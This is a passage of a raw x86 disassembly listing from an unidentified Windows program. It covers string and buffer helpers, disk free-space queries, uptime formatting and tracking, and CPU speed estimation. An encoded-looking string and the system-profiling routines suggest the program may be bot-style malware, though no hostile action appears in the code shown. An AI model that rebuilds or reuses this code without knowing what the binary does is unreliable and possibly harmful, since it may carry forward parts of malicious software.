loc_41B3E5: ; CODE XREF: sub_41B35A+4Aj
; sub_41B35A+4Ej ...
push 1
push esi
mov ecx, edi
call sub_41B4FB
test al, al
jz short loc_41B41E
mov eax, [ebp+arg_0]
mov eax, [eax+4]
test eax, eax
jnz short loc_41B402
mov eax, offset dword_437338
loc_41B402: ; CODE XREF: sub_41B35A+A1j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_429350
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_41B41E: ; CODE XREF: sub_41B35A+46j
; sub_41B35A+89j ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_41B35A endp
; =============== S U B R O U T I N E =======================================
sub_41B427 proc near ; CODE XREF: sub_41B12F+19p
; sub_41B189+36p ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_41B44F
mov eax, [esi+4]
test eax, eax
jz short loc_41B44F
dec eax
mov cl, [eax]
test cl, cl
jz short loc_41B448
cmp cl, 0FFh
jz short loc_41B448
dec byte ptr [eax]
jmp short loc_41B44F
; ---------------------------------------------------------------------------
loc_41B448: ; CODE XREF: sub_41B427+16j
; sub_41B427+1Bj
push eax
call sub_429006
pop ecx
loc_41B44F: ; CODE XREF: sub_41B427+8j
; sub_41B427+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_41B427 endp
; =============== S U B R O U T I N E =======================================
sub_41B45F proc near ; CODE XREF: sub_41B12F+2Fp
; sub_41B809+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
push edi
mov esi, ecx
call sub_41B4FB
test al, al
jz short loc_41B48D
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_429350
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_41B48D: ; CODE XREF: sub_41B45F+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_41B45F endp
; =============== S U B R O U T I N E =======================================
sub_41B494 proc near ; CODE XREF: sub_41B35A+35p
; sub_41B35A+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_41B4A7
call sub_4290F9
loc_41B4A7: ; CODE XREF: sub_41B494+Cj
mov ecx, edi
call sub_41B809
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_41B4BD
mov ebx, eax
loc_41B4BD: ; CODE XREF: sub_41B494+25j
test ebx, ebx
jbe short loc_41B4F3
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_42B9C0
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_41B4FB
test al, al
jz short loc_41B4F3
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_41B4F3: ; CODE XREF: sub_41B494+2Bj
; sub_41B494+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_41B494 endp
; =============== S U B R O U T I N E =======================================
sub_41B4FB proc near ; CODE XREF: sub_41B35A+90p
; sub_41B45F+Bp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_41B50D
call sub_429011
loc_41B50D: ; CODE XREF: sub_41B4FB+Bj
mov eax, [esi+4]
xor edx, edx
cmp eax, edx
jz short loc_41B535
mov cl, [eax-1]
cmp cl, dl
jz short loc_41B535
cmp cl, 0FFh
jz short loc_41B535
cmp edi, edx
mov ecx, esi
jnz short loc_41B574
dec byte ptr [eax-1]
push edx
loc_41B52C: ; CODE XREF: sub_41B4FB+48j
call sub_41B427
loc_41B531: ; CODE XREF: sub_41B4FB+4Cj
; sub_41B4FB+53j
xor al, al
jmp short loc_41B57C
; ---------------------------------------------------------------------------
loc_41B535: ; CODE XREF: sub_41B4FB+19j
; sub_41B4FB+20j ...
cmp edi, edx
jnz short loc_41B550
cmp [esp+8+arg_4], dl
jz short loc_41B545
push 1
mov ecx, esi
jmp short loc_41B52C
; ---------------------------------------------------------------------------
loc_41B545: ; CODE XREF: sub_41B4FB+42j
cmp eax, edx
jz short loc_41B531
mov [esi+8], edx
mov [eax], dl
jmp short loc_41B531
; ---------------------------------------------------------------------------
loc_41B550: ; CODE XREF: sub_41B4FB+3Cj
cmp [esp+8+arg_4], dl
jz short loc_41B56D
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_41B562
cmp eax, edi
jnb short loc_41B57A
loc_41B562: ; CODE XREF: sub_41B4FB+61j
push 1
mov ecx, esi
call sub_41B427
jmp short loc_41B572
; ---------------------------------------------------------------------------
loc_41B56D: ; CODE XREF: sub_41B4FB+59j
cmp [esi+0Ch], edi
jnb short loc_41B57A
loc_41B572: ; CODE XREF: sub_41B4FB+70j
mov ecx, esi
loc_41B574: ; CODE XREF: sub_41B4FB+2Bj
push edi
call sub_41B74C
loc_41B57A: ; CODE XREF: sub_41B4FB+65j
; sub_41B4FB+75j
mov al, 1
loc_41B57C: ; CODE XREF: sub_41B4FB+38j
pop edi
pop esi
retn 8
sub_41B4FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B581 proc near ; CODE XREF: sub_41B11E+9p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov edi, [ebp+arg_4]
mov ecx, [esi+8]
mov eax, [esi+0Ch]
sub eax, ecx
sar eax, 2
cmp eax, edi
jnb loc_41B673
mov edx, [esi+4]
test edx, edx
jz short loc_41B5B2
mov eax, ecx
sub eax, edx
sar eax, 2
cmp edi, eax
jb short loc_41B5B4
loc_41B5B2: ; CODE XREF: sub_41B581+24j
mov eax, edi
loc_41B5B4: ; CODE XREF: sub_41B581+2Fj
test edx, edx
jnz short loc_41B5BC
xor ecx, ecx
jmp short loc_41B5C1
; ---------------------------------------------------------------------------
loc_41B5BC: ; CODE XREF: sub_41B581+35j
sub ecx, edx
sar ecx, 2
loc_41B5C1: ; CODE XREF: sub_41B581+39j
add eax, ecx
test eax, eax
mov [ebp+var_4], eax
jge short loc_41B5CC
xor eax, eax
loc_41B5CC: ; CODE XREF: sub_41B581+47j
shl eax, 2
push eax
call sub_42B407
mov edx, eax
mov eax, [esi+4]
pop ecx
mov [ebp+arg_4], edx
jmp short loc_41B5EE
; ---------------------------------------------------------------------------
loc_41B5E0: ; CODE XREF: sub_41B581+70j
test edx, edx
jz short loc_41B5E8
mov ecx, [eax]
mov [edx], ecx
loc_41B5E8: ; CODE XREF: sub_41B581+61j
add edx, 4
add eax, 4
loc_41B5EE: ; CODE XREF: sub_41B581+5Dj
cmp eax, [ebp+arg_0]
jnz short loc_41B5E0
test edi, edi
mov eax, edx
jbe short loc_41B60C
mov ecx, edi
loc_41B5FB: ; CODE XREF: sub_41B581+89j
test eax, eax
jz short loc_41B606
mov ebx, [ebp+arg_8]
mov ebx, [ebx]
mov [eax], ebx
loc_41B606: ; CODE XREF: sub_41B581+7Cj
add eax, 4
dec ecx
jnz short loc_41B5FB
loc_41B60C: ; CODE XREF: sub_41B581+76j
mov eax, [esi+8]
mov ecx, edi
shl ecx, 2
cmp [ebp+arg_0], eax
mov [ebp+arg_8], eax
lea ebx, [ecx+edx]
jz short loc_41B63B
mov eax, ebx
sub eax, ecx
sub eax, edx
add eax, [ebp+arg_0]
loc_41B628: ; CODE XREF: sub_41B581+B8j
test ebx, ebx
jz short loc_41B630
mov ecx, [eax]
mov [ebx], ecx
loc_41B630: ; CODE XREF: sub_41B581+A9j
add eax, 4
add ebx, 4
cmp eax, [ebp+arg_8]
jnz short loc_41B628
loc_41B63B: ; CODE XREF: sub_41B581+9Cj
push dword ptr [esi+4]
call sub_429006
mov eax, [ebp+var_4]
mov edx, [esi+4]
pop ecx
mov ecx, [ebp+arg_4]
test edx, edx
lea eax, [ecx+eax*4]
mov [esi+0Ch], eax
jnz short loc_41B65B
xor eax, eax
jmp short loc_41B663
; ---------------------------------------------------------------------------
loc_41B65B: ; CODE XREF: sub_41B581+D4j
mov eax, [esi+8]
sub eax, edx
sar eax, 2
loc_41B663: ; CODE XREF: sub_41B581+D8j
add eax, edi
mov [esi+4], ecx
lea eax, [ecx+eax*4]
mov [esi+8], eax
jmp loc_41B745
; ---------------------------------------------------------------------------
loc_41B673: ; CODE XREF: sub_41B581+19j
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, edx
sar eax, 2
cmp eax, edi
jnb short loc_41B6EF
mov ebx, edi
shl ebx, 2
cmp edx, ecx
mov [ebp+arg_0], ebx
lea eax, [ebx+edx]
mov [ebp+var_4], eax
jz short loc_41B6B6
sub eax, ebx
mov ebx, [ebp+var_4]
mov [ebp+arg_4], eax
loc_41B69B: ; CODE XREF: sub_41B581+130j
test ebx, ebx
jz short loc_41B6A6
mov eax, [eax]
mov [ebx], eax
mov eax, [ebp+arg_4]
loc_41B6A6: ; CODE XREF: sub_41B581+11Cj
add eax, 4
add ebx, 4
cmp eax, ecx
mov [ebp+arg_4], eax
jnz short loc_41B69B
mov ebx, [ebp+arg_0]
loc_41B6B6: ; CODE XREF: sub_41B581+110j
mov eax, [esi+8]
mov ecx, eax
sub ecx, edx
sar ecx, 2
sub edi, ecx
mov ecx, [ebp+arg_8]
jz short loc_41B6DA
mov [ebp+arg_0], edi
loc_41B6CA: ; CODE XREF: sub_41B581+157j
test eax, eax
jz short loc_41B6D2
mov edi, [ecx]
mov [eax], edi
loc_41B6D2: ; CODE XREF: sub_41B581+14Bj
add eax, 4
dec [ebp+arg_0]
jnz short loc_41B6CA
loc_41B6DA: ; CODE XREF: sub_41B581+144j
mov eax, [esi+8]
jmp short loc_41B6E6
; ---------------------------------------------------------------------------
loc_41B6DF: ; CODE XREF: sub_41B581+167j
mov edi, [ecx]
mov [edx], edi
add edx, 4
loc_41B6E6: ; CODE XREF: sub_41B581+15Cj
cmp edx, eax
jnz short loc_41B6DF
add [esi+8], ebx
jmp short loc_41B745
; ---------------------------------------------------------------------------
loc_41B6EF: ; CODE XREF: sub_41B581+FEj
test edi, edi
jbe short loc_41B745
shl edi, 2
mov eax, ecx
mov ebx, ecx
mov [ebp+arg_0], edi
sub eax, edi
jmp short loc_41B712
; ---------------------------------------------------------------------------
loc_41B701: ; CODE XREF: sub_41B581+193j
test ebx, ebx
jz short loc_41B70C
mov edi, [eax]
mov [ebx], edi
mov edi, [ebp+arg_0]
loc_41B70C: ; CODE XREF: sub_41B581+182j
add ebx, 4
add eax, 4
loc_41B712: ; CODE XREF: sub_41B581+17Ej
cmp eax, ecx
jnz short loc_41B701
mov ecx, [esi+8]
mov eax, ecx
sub eax, edi
cmp edx, eax
jz short loc_41B72F
loc_41B721: ; CODE XREF: sub_41B581+1ACj
sub eax, 4
sub ecx, 4
cmp eax, edx
mov ebx, [eax]
mov [ecx], ebx
jnz short loc_41B721
loc_41B72F: ; CODE XREF: sub_41B581+19Ej
lea eax, [edi+edx]
jmp short loc_41B73E
; ---------------------------------------------------------------------------
loc_41B734: ; CODE XREF: sub_41B581+1BFj
mov ecx, [ebp+arg_8]
mov ecx, [ecx]
mov [edx], ecx
add edx, 4
loc_41B73E: ; CODE XREF: sub_41B581+1B1j
cmp edx, eax
jnz short loc_41B734
add [esi+8], edi
loc_41B745: ; CODE XREF: sub_41B581+EDj
; sub_41B581+16Cj ...
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_41B581 endp
; =============== S U B R O U T I N E =======================================
sub_41B74C proc near ; CODE XREF: sub_41B4FB+7Ap
mov eax, offset loc_436570
call sub_42B6FC
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_41B772
mov edi, [ebp+8]
loc_41B772: ; CODE XREF: sub_41B74C+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_41B77F
xor eax, eax
loc_41B77F: ; CODE XREF: sub_41B74C+2Fj
push eax
call sub_42B407
pop ecx
mov [ebp+8], eax
jmp short loc_41B7B0
; ---------------------------------------------------------------------------
loc_41B78B: ; DATA XREF: ?9:00438570o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_41B79A
xor eax, eax
loc_41B79A: ; CODE XREF: sub_41B74C+4Aj
push eax
call sub_42B407
mov [ebp+8], eax
pop ecx
mov eax, offset loc_41B7AA
retn
; ---------------------------------------------------------------------------
loc_41B7AA: ; DATA XREF: sub_41B74C+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_41B7B0: ; CODE XREF: sub_41B74C+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_41B7CE
cmp eax, edi
jbe short loc_41B7BD
mov eax, edi
loc_41B7BD: ; CODE XREF: sub_41B74C+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_429350
add esp, 0Ch
loc_41B7CE: ; CODE XREF: sub_41B74C+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_41B427
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_41B7EE
mov edi, ebx
loc_41B7EE: ; CODE XREF: sub_41B74C+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [edi+eax], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_41B74C endp
; =============== S U B R O U T I N E =======================================
sub_41B809 proc near ; CODE XREF: sub_41B494+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_41B836
mov al, [esi-1]
test al, al
jz short loc_41B836
cmp al, 0FFh
jz short loc_41B836
push 1
call sub_41B427
push esi
call sub_4292D0
pop ecx
push eax
push esi
mov ecx, edi
call sub_41B45F
loc_41B836: ; CODE XREF: sub_41B809+9j
; sub_41B809+10j ...
pop edi
pop esi
retn
sub_41B809 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B839 proc near ; CODE XREF: sub_41B88C+Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
push edi
or eax, 0FFFFFFFFh
push 1
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
call dword_456FE4 ; SetErrorMode
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_18]
push eax
push [ebp+arg_4]
call dword_4370D4 ; GetDiskFreeSpaceExA
push 2
call dword_456FE4 ; SetErrorMode
mov eax, [ebp+arg_0]
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_41B839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B88C proc near ; CODE XREF: sub_41BD3B+2A0p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_30]
push eax
call sub_41B839
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jnz short loc_41B8E0
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jnz short loc_41B8E0
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jnz short loc_41B8E0
xor eax, eax
mov [ebp+var_30], eax
mov [ebp+var_2C], eax
mov [ebp+var_28], eax
mov [ebp+var_24], eax
mov [ebp+var_1C], eax
jmp short loc_41B91E
; ---------------------------------------------------------------------------
loc_41B8E0: ; CODE XREF: sub_41B88C+29j
; sub_41B88C+34j ...
mov eax, [ebp+arg_8]
cdq
mov edi, edx
mov esi, eax
push edi
push esi
push [ebp+var_14]
push [ebp+var_18]
call sub_42B220
push edi
push esi
push [ebp+var_C]
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
push [ebp+var_10]
call sub_42B220
push edi
push esi
push [ebp+var_4]
mov [ebp+var_28], eax
mov [ebp+var_24], edx
push [ebp+var_8]
call sub_42B220
mov [ebp+var_1C], edx
loc_41B91E: ; CODE XREF: sub_41B88C+52j
mov [ebp+var_20], eax
mov eax, [ebp+arg_0]
push 6
lea esi, [ebp+var_30]
pop ecx
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_41B88C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B932 proc near ; CODE XREF: sub_401990+87p
; sub_40A938+193Fp ...
var_2C = qword ptr -2Ch
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
xor edi, edi
push 32h
mov esi, offset dword_457FBC
push edi
push esi
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
call dword_4370C0 ; QueryPerformanceCounter
lea eax, [ebp+var_8]
push eax
call dword_4370BC ; QueryPerformanceFrequency
cmp [ebp+var_C], edi
jl short loc_41B9B7
jg short loc_41B96E
cmp [ebp+var_10], edi
jbe short loc_41B9B7
loc_41B96E: ; CODE XREF: sub_41B932+35j
cmp [ebp+var_4], edi
jl short loc_41B9B7
jg short loc_41B97A
cmp [ebp+var_8], edi
jbe short loc_41B9B7
loc_41B97A: ; CODE XREF: sub_41B932+41j
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_42B220
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], edx
fild [ebp+var_18]
push ecx
push ecx ; double
fstp [esp+2Ch+var_2C]
call sub_42A636
mov eax, [ebp+arg_4]
mov dword ptr [ebp+var_18+4], edi
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fsubp st(1), st
call sub_42A910
mov ecx, eax
jmp short loc_41B9D0
; ---------------------------------------------------------------------------
loc_41B9B7: ; CODE XREF: sub_41B932+33j
; sub_41B932+3Aj ...
mov eax, [ebp+arg_0]
mov edi, 3E8h
xor edx, edx
mov ecx, edi
div ecx
xor edx, edx
mov ecx, eax
mov eax, [ebp+arg_4]
div edi
sub ecx, eax
loc_41B9D0: ; CODE XREF: sub_41B932+83j
mov eax, ecx
xor edx, edx
mov ecx, 15180h
mov edi, 0E10h
div ecx
push 3Ch
pop ebx
mov ecx, eax
mov eax, edx
xor edx, edx
div edi
mov edi, eax
mov eax, edx
xor edx, edx
div ebx
cmp [ebp+arg_8], 0
jnz short loc_41BA10
test ecx, ecx
ja short loc_41BA10
push edx
push eax
push edi
push offset a0_2d0_2d0_2d ; "%0.2d:%0.2d:%0.2d"
push esi
call sub_429A33
add esp, 14h
jmp short loc_41BA32
; ---------------------------------------------------------------------------
loc_41BA10: ; CODE XREF: sub_41B932+C5j
; sub_41B932+C9j
cmp ecx, 1
mov ebx, offset byte_454A34
jz short loc_41BA1F
mov ebx, offset aS_2 ; "s"
loc_41BA1F: ; CODE XREF: sub_41B932+E6j
push edx
push eax
push edi
push ebx
push ecx
push offset aDDayS0_2d0_2d0 ; "%d day%s %0.2d:%0.2d:%0.2d"
push esi
call sub_429A33
add esp, 1Ch
loc_41BA32: ; CODE XREF: sub_41B932+DCj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_41B932 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA39 proc near ; CODE XREF: sub_41D5E0+22p
; sub_41D70C+25p ...
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push esi
xor esi, esi
push 32h
push esi
push offset dword_457F50
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
call dword_4370C0 ; QueryPerformanceCounter
lea eax, [ebp+var_8]
push eax
call dword_4370BC ; QueryPerformanceFrequency
cmp [ebp+var_C], esi
jl short loc_41BAAB
jg short loc_41BA72
cmp [ebp+var_10], esi
jbe short loc_41BAAB
loc_41BA72: ; CODE XREF: sub_41BA39+32j
cmp [ebp+var_4], esi
jl short loc_41BAAB
jg short loc_41BA7E
cmp [ebp+var_8], esi
jbe short loc_41BAAB
loc_41BA7E: ; CODE XREF: sub_41BA39+3Ej
push [ebp+var_4]
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
call sub_42B220
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], edx
fild [ebp+var_18]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_42A636
pop ecx
pop ecx
call sub_42A910
jmp short loc_41BAB7
; ---------------------------------------------------------------------------
loc_41BAAB: ; CODE XREF: sub_41BA39+30j
; sub_41BA39+37j ...
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 3E8h
div ecx
loc_41BAB7: ; CODE XREF: sub_41BA39+70j
xor edx, edx
mov ecx, 15180h
div ecx
pop esi
leave
retn
sub_41BA39 endp
; =============== S U B R O U T I N E =======================================
sub_41BAC3 proc near ; CODE XREF: sub_40A938+1AF5p
push esi
push 32h
mov esi, offset dword_457F84
push 0
push esi
call sub_429690
add esp, 0Ch
call sub_41BC27
test eax, eax
jnz short loc_41BAFB
call dword_43716C ; RtlGetLastWin32Error
push eax
push offset aYdidb16dnmq_ ; "YdidB16dnMQ."
push offset aSD_1 ; "%s <%d>"
push esi
call sub_429A33
add esp, 10h
jmp short loc_41BB41
; ---------------------------------------------------------------------------
loc_41BAFB: ; CODE XREF: sub_41BAC3+1Aj
xor edx, edx
mov ecx, 15180h
div ecx
push ebx
push edi
mov edi, 0E10h
push 3Ch
pop ebx
mov ecx, eax
mov eax, edx
xor edx, edx
div edi
mov edi, eax
mov eax, edx
xor edx, edx
div ebx
cmp ecx, 1
mov edx, offset byte_454A34
jz short loc_41BB2D
mov edx, offset aS_2 ; "s"
loc_41BB2D: ; CODE XREF: sub_41BAC3+63j
push eax
push edi
push edx
push ecx
push offset aDDayS0_2d0_2d ; "%d day%s %0.2d:%0.2d"
push esi
call sub_429A33
add esp, 18h
pop edi
pop ebx
loc_41BB41: ; CODE XREF: sub_41BAC3+36j
mov eax, esi
pop esi
retn
sub_41BAC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB45 proc near ; CODE XREF: sub_40A938+1AE7p
; sub_41BC58:loc_41BC67p
var_30 = qword ptr -30h
var_1C = qword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
lea eax, [ebp+var_14]
push edi
xor esi, esi
push eax
mov [ebp+var_4], esi
call dword_4370C0 ; QueryPerformanceCounter
lea eax, [ebp+var_C]
push eax
call dword_4370BC ; QueryPerformanceFrequency
cmp [ebp+var_10], esi
jl short loc_41BBAC
jg short loc_41BB73
cmp [ebp+var_14], esi
jbe short loc_41BBAC
loc_41BB73: ; CODE XREF: sub_41BB45+27j
cmp [ebp+var_8], esi
jl short loc_41BBAC
jg short loc_41BB7F
cmp [ebp+var_C], esi
jbe short loc_41BBAC
loc_41BB7F: ; CODE XREF: sub_41BB45+33j
push [ebp+var_8]
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_14]
call sub_42B220
mov dword ptr [ebp+var_1C], eax
mov dword ptr [ebp+var_1C+4], edx
fild [ebp+var_1C]
push ecx
push ecx ; double
fstp [esp+30h+var_30]
call sub_42A636
pop ecx
pop ecx
call sub_42A910
jmp short loc_41BBBB
; ---------------------------------------------------------------------------
loc_41BBAC: ; CODE XREF: sub_41BB45+25j
; sub_41BB45+2Cj ...
call dword_437184 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
loc_41BBBB: ; CODE XREF: sub_41BB45+65j
cmp dword_457FB8, esi
mov ebx, eax
jnz short loc_41BC06
lea eax, [ebp+var_4]
mov edi, offset byte_445403
push eax
mov esi, offset dword_445304
push edi
push esi
push dword_445300
call sub_421201
add esp, 10h
cmp [ebp+var_4], 0
jz short loc_41BBED
cmp ebx, eax
jbe short loc_41BC02
loc_41BBED: ; CODE XREF: sub_41BB45+A2j
push ebx
push edi
push esi
push dword_445300
call sub_42131F
add esp, 10h
test eax, eax
jnz short loc_41BC1F
loc_41BC02: ; CODE XREF: sub_41BB45+A6j
xor eax, eax
jmp short loc_41BC22
; ---------------------------------------------------------------------------
loc_41BC06: ; CODE XREF: sub_41BB45+7Ej
push ebx
push offset byte_445403
push offset dword_445304
push dword_445300
call sub_42131F
add esp, 10h
loc_41BC1F: ; CODE XREF: sub_41BB45+BBj
xor eax, eax
inc eax
loc_41BC22: ; CODE XREF: sub_41BB45+BFj
pop edi
pop esi
pop ebx
leave
retn
sub_41BB45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BC27 proc near ; CODE XREF: sub_40A938+8A2Cp
; sub_41BAC3+13p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push offset byte_445403
push offset dword_445304
push dword_445300
call sub_421201
mov ecx, eax
mov eax, [ebp+var_4]
add esp, 10h
neg eax
sbb eax, eax
and eax, ecx
leave
retn
sub_41BC27 endp
; =============== S U B R O U T I N E =======================================
sub_41BC58 proc near ; DATA XREF: sub_418EDB+199o
xor eax, eax
cmp dword_457014, eax
mov dword_457FB8, eax
jnz short loc_41BC7E
loc_41BC67: ; CODE XREF: sub_41BC58+24j
call sub_41BB45
push 0C3500h
mov dword_457FB8, eax
call dword_43718C ; Sleep
jmp short loc_41BC67
; ---------------------------------------------------------------------------
loc_41BC7E: ; CODE XREF: sub_41BC58+Dj
push eax
call dword_437170 ; ExitThread
sub_41BC58 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41BC85 proc near ; CODE XREF: sub_41BD3B+34Ep
push ebx
push esi
push edi
mov edi, 0F4240h
loc_41BC8D: ; CODE XREF: sub_41BC85+2Fj
; sub_41BC85+35j
rdtsc
push 3E8h
mov ebx, edx
mov esi, eax
call dword_43718C ; Sleep
rdtsc
sub eax, esi
push 0
sbb edx, ebx
push edi
push edx
push eax
call sub_42BD80
mov esi, edx
mov ebx, eax
test esi, esi
ja short loc_41BC8D
jb short loc_41BCBC
cmp ebx, edi
ja short loc_41BC8D
loc_41BCBC: ; CODE XREF: sub_41BC85+31j
push 0
push 64h
push esi
push ebx
call sub_42BD00
mov ecx, edx
push 64h
xor edx, edx
mov edi, eax
test ecx, ecx
pop eax
ja short loc_41BD2F
jb short loc_41BCDB
cmp edi, 50h
jnb short loc_41BCE0
loc_41BCDB: ; CODE XREF: sub_41BC85+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41BCE0: ; CODE XREF: sub_41BC85+54j
test ecx, ecx
ja short loc_41BD2F
jb short loc_41BCEB
cmp edi, 47h
jnb short loc_41BCF0
loc_41BCEB: ; CODE XREF: sub_41BC85+5Fj
push 42h
xor edx, edx
pop eax
loc_41BCF0: ; CODE XREF: sub_41BC85+64j
test ecx, ecx
ja short loc_41BD2F
jb short loc_41BCFB
cmp edi, 37h
jnb short loc_41BD00
loc_41BCFB: ; CODE XREF: sub_41BC85+6Fj
push 32h
xor edx, edx
pop eax
loc_41BD00: ; CODE XREF: sub_41BC85+74j
test ecx, ecx
ja short loc_41BD2F
jb short loc_41BD0B
cmp edi, 26h
jnb short loc_41BD10
loc_41BD0B: ; CODE XREF: sub_41BC85+7Fj
push 21h
xor edx, edx
pop eax
loc_41BD10: ; CODE XREF: sub_41BC85+84j
test ecx, ecx
ja short loc_41BD2F
jb short loc_41BD1B
cmp edi, 1Eh
jnb short loc_41BD20
loc_41BD1B: ; CODE XREF: sub_41BC85+8Fj
push 19h
xor edx, edx
pop eax
loc_41BD20: ; CODE XREF: sub_41BC85+94j
test ecx, ecx
ja short loc_41BD2F
jb short loc_41BD2B
cmp edi, 0Ah
jnb short loc_41BD2F
loc_41BD2B: ; CODE XREF: sub_41BC85+9Fj
xor eax, eax
xor edx, edx
